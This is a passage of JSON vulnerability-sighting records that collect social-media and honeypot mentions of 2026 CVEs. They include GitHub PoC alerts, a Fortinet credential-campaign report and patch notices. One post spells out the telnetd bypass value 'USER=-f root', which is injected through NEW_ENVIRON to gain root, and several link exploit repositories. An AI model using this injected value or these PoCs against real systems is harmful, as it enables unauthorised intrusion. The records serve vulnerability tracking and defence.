06:59:57\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-24207 \u2014 NVIDIA Triton SageMaker auth bypass to unauth RCE. Detection script, bypass demo, RCE-chain PoC, and IDS rules.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:35.032563Z"}, {"uuid": "c4cc628c-97ad-40b2-a59c-b130aeae8df9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24688", "type": "seen", "source": "https://t.me/GithubRedTeam/89977", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-24688\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Fomovet\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-21 14:31:50\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPOC for CVE-2026-24688\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:37.629856Z"}, {"uuid": "dcb3d0b6-1bd6-404d-9e8b-816e327ed60e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://t.me/true_secator/8332", "content": "Fortinet \u043e\u0442\u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u043d\u0430 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e FortiBleed, \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u043e\u0431\u0440\u0430\u043b\u0438 \u0431\u0430\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0443\u044e \u0431\u043e\u043b\u0435\u0435\u00a086 000 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043d\u044b\u0445 \u0440\u0430\u0431\u043e\u0447\u0438\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445\u00a0\u0434\u043b\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 Fortinet \u0432 194 \u0441\u0442\u0440\u0430\u043d\u0430\u0445.\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u0430\u044f \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u043e \u0441\u0431\u043e\u0440\u0443 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u043d\u0430 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u044d\u043a\u0440\u0430\u043d\u044b \u0438 VPN-\u0441\u0435\u0442\u0438 \u0435\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432, \u043d\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u043d\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u041d\u0430 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0438 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0432 Fortinet \u0441\u0447\u0438\u0442\u0430\u044e\u0442, \u0447\u0442\u043e \u0432 \u0445\u043e\u0434\u0435 \u044d\u0442\u043e\u0439 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0445 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432 \u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442 \u043c\u0435\u0442\u043e\u0434\u044b \u043f\u0435\u0440\u0435\u0431\u043e\u0440\u0430 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c \u0441\u043e \u0441\u043b\u0430\u0431\u044b\u043c\u0438 \u043f\u0430\u0440\u043e\u043b\u044f\u043c\u0438 \u0438 \u0431\u0435\u0437 MFA.\n\n\u0412 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0445 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u0445, \u043e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 Fortinet, \u0440\u0435\u0447\u044c \u0448\u043b\u0430 \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0442\u0440\u0435\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0445 \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u043f\u0440\u0438 \u0432\u0445\u043e\u0434\u0435 \u0432 FortiCloud SSO: CVE-2026-24858, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0432 \u044f\u043d\u0432\u0430\u0440\u0435, \u0438 CVE-2025-59718 \u043d\u0430 \u043f\u0430\u0440\u0443 \u0441 CVE-2025-59719, \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0435 \u0432 \u0434\u0435\u043a\u0430\u0431\u0440\u0435.\n\nFortinet \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0432 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u0440\u043e\u0448\u043b\u044b\u0445 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0439, \u0438 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0432\u0441\u0435\u043c \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0443\u0431\u0435\u0434\u0438\u0442\u044c\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u044d\u0442\u0438 \u043c\u0435\u0440\u044b \u043f\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0431\u044b\u043b\u0438 \u0432 \u043f\u043e\u043b\u043d\u043e\u043c \u043e\u0431\u044a\u0435\u043c\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u044b..\n\n\u0412 \u043c\u0430\u0440\u0442\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u043b\u0430 \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0418\u0418 \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0446\u0435\u043b\u0435\u0439 \u0438 \u043f\u043e\u0434\u0431\u043e\u0440\u0430 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u0432 \u0448\u0438\u0440\u043e\u043a\u043e\u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u043f\u043b\u043e\u0445\u043e \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u043f\u0435\u0440\u0438\u0444\u0435\u0440\u0438\u0439\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\n\u0412 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0438 \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e FortiBleed \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0442\u0435 \u0436\u0435 \u043c\u0435\u0442\u043e\u0434\u044b, \u0430 \u043d\u0435 \u043d\u043e\u0432\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Fortinet. \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0432\u044b\u044f\u0432\u0438\u043b\u0430 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043d\u0430\u0447\u0430\u043b\u0430 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u044f\u0442\u044c \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u0432\u0448\u0438\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0432 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043e\u0440\u0433\u0430\u043d\u044b.\n\n\u041a\u043b\u0438\u0435\u043d\u0442\u0430\u043c, \u0443 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0431\u044b\u043b\u0438 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u044b FortiGate, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0437\u0430\u0432\u0435\u0440\u0448\u0438\u0442\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u0438 VPN-\u0441\u0435\u0441\u0441\u0438\u0438, \u0441\u043c\u0435\u043d\u0438\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c MFA \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 VPN, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u041f\u041e \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0439, \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0449\u0438\u0445 \u0445\u0435\u0448\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e PBKDF2.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0430 \u0438 VPN \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439, \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0436\u0443\u0440\u043d\u0430\u043b\u044b \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043d\u0435\u043e\u0436\u0438\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0432\u043d\u0435\u0448\u043d\u0435\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c\u0438 \u0445\u043e\u0441\u0442\u0430\u043c\u0438.", "creation_timestamp": "2026-07-14T00:00:44.202204Z"}, {"uuid": "7c4cba97-7b6e-49e2-8362-e7f895a678fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://t.me/pleyades_it/12104", "content": "\u2757\ufe0fCVE-2026-2441 #vulnerabilidad #zeroday en Chrome. Parche disponible, actualiza ya.\nhttps://acortar.link/ZQqFWM", "creation_timestamp": "2026-07-14T00:00:53.891442Z"}, {"uuid": "c5335196-5272-437a-afd0-326f2edc33df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-06)", "content": "", "creation_timestamp": "2026-08-07T10:51:45.422616Z"}, {"uuid": "7b29adfd-a75a-45d8-9ea2-dd52dafc7f4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24031", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/97792", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-24031\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a aramosf\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-12 23:37:39\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-24031 Dovecot 2.4.0/3.1.0 SQL authentication bypass (auth bypass + user enumeration) PoC\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-14T00:00:09.642856Z"}, {"uuid": "93876773-eb67-4e91-bcfd-56e44679d384", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/97618", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-62737-POC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0p5cur\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-11 18:51:16\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-24061's poc\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-12T00:00:07.340874Z"}, {"uuid": "70e7b91c-6305-4dd5-b390-e49214a06255", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24857", "type": "seen", "source": "https://bsky.app/profile/simson.net/post/3mte5vmf6ck2f", "content": "bulk_extractor 2.2.0 is now available.\nThis release fixes CVE-2026-24857 and adds a standalone 64-bit Windows executable, Windows raw-device input, runtime scanner plug-ins, improved Wi-Fi PCAP preservation, and extensive reliability improvements.\ngithub.com/simsong/bulk...", "creation_timestamp": "2026-08-18T11:55:45.740055Z"}, {"uuid": "4b828b1c-ab5d-4497-abfd-4b75a0ca60d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24857", "type": "seen", "source": "https://bsky.app/profile/simson.net/post/3mte5wrxnsc2f", "content": "bulk_extractor 2.2.0 is out!\nThis release fixes CVE-2026-24857 and adds a standalone 64-bit Windows executable, Windows raw-device input, runtime scanner plug-ins, improved Wi-Fi PCAP preservation, and extensive reliability improvements.\ngithub.com/simsong/bulk...\n#DFIR #DigitalForensics #OpenSource", "creation_timestamp": "2026-08-18T11:56:19.759216Z"}, {"uuid": "89047d10-3827-4c5b-8696-5744fbfb5230", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24233", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqnda3ee6c2x", "content": "CVE-2026-24233 - NVIDIA TensorRT-LLM Insecure Deserialization Vulnerability\nCVE ID : CVE-2026-24233\n \n Published : July 14, 2026, 9:16 p.m. | 35\u00a0minutes ago\n \n Description : NVIDIA TensorRT-LLM for Linux contains a vulnerability in the restricted unpickler used for model weigh...", "creation_timestamp": "2026-07-14T23:09:22.552206Z"}, {"uuid": "2e5910ec-b23a-4f8b-85e1-7fafce06fa41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24233", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mqndckyvok2v", "content": "CVE-2026-24233 - Insecure Deserialization in NVIDIA TensorRT-LLM. Local attacker can achieve RCE, privilege escalation, data tampering. CVSS 8.4. Apply mitigations immediately. #CVE #NVIDIA #infosec\n\nhttps://www.valtersit.com/cve/CVE-2026-24233/", "creation_timestamp": "2026-07-14T23:10:46.276863Z"}, {"uuid": "85e4cb53-8d87-43a7-a01f-24e88689edbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24233", "type": "seen", "source": "https://mastodon.social/users/hugovalters/statuses/116920854980122541", "content": "CVE-2026-24233 - Insecure Deserialization in NVIDIA TensorRT-LLM. Local attacker can achieve RCE, privilege escalation, data tampering. CVSS 8.4. Apply mitigations immediately. #CVE #NVIDIA #infosec\nhttps://www.valtersit.com/cve/CVE-2026-24233/", "creation_timestamp": "2026-07-14T23:11:04.608028Z"}, {"uuid": "8c8dff0e-2ede-4700-88bf-e0b6e45cd7f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24688", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/89977", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-24688\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Fomovet\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-21 14:31:50\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPOC for CVE-2026-24688\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:18.901128Z"}, {"uuid": "1116d47e-0b97-4778-9b5b-03ef14996d3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24207", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/90665", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-24207\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a offseckit\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-26 06:59:57\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-24207 \u2014 NVIDIA Triton SageMaker auth bypass to unauth RCE. Detection script, bypass demo, RCE-chain PoC, and IDS rules.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:20.977475Z"}, {"uuid": "d0f4c607-dab2-4faf-8e0b-80b766ef1761", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/92230", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-24061\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a harygovind\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-06 17:58:56\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-24061-PoC\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:30.977209Z"}, {"uuid": "b8254081-cba4-4ae3-9392-3a0b1395778a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/92153", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #Nuclei\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-24061\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a sh4den\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 5  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 1\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-06 08:39:09\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nProof of Concept: CVE-2026-24061 is a critical authentication bypass vulnerability in GNU inetutils-telnetd allowing unauthenticated remote attackers to gain instant root shell access via malicious NEW_ENVIRON telnet option exploitation.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:30.011762Z"}, {"uuid": "84c58853-e540-4e7d-95e5-87b0da0f9920", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/17051", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today)\nBelow are several recent vulnerabilities with publicly available PoC repositories on GitHub that are useful for vulnerability research and exploit analysis.\n\n1\ufe0f\u20e3 CVE-2026-24061\n\ud83c\udfaf GNU inetutils-telnetd Authentication Bypass \u2192 Root Access\n\n\ud83d\udd17 PoC\nhttps://github.com/JayGLXR/CVE-2026-24061-POC\n\n\ud83e\udde0 Overview\nA critical vulnerability in GNU inetutils telnetd allows attackers to bypass authentication and obtain a root shell.\nThe exploit abuses the NEW_ENVIRON telnet option and injects a crafted environment variable (USER=-f root) that results in authentication bypass.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote root access\n\u2022 CVSS 9.8 (Critical)\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-27831\n\ud83c\udfaf rldns DNS Server Heap Out-of-Bounds Read\n\n\ud83d\udd17 PoC\nhttps://github.com/bluedragonsecurity/CVE-2026-27831-POC\n\n\ud83e\udde0 Overview\nA heap-based out-of-bounds read vulnerability in rldns version 1.3 can be triggered during DNS request handling, leading to memory access violations and denial-of-service.\n\n\u2699\ufe0f Impact\n\u2022 DNS server crash\n\u2022 Denial of Service\n\u2022 Memory safety vulnerability\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-1731\n\ud83c\udfaf BeyondTrust Remote Support \u2013 Command Injection\n\n\ud83d\udd17 PoC\nhttps://github.com/win3zz/CVE-2026-1731\n\n\ud83e\udde0 Overview\nA command injection vulnerability in 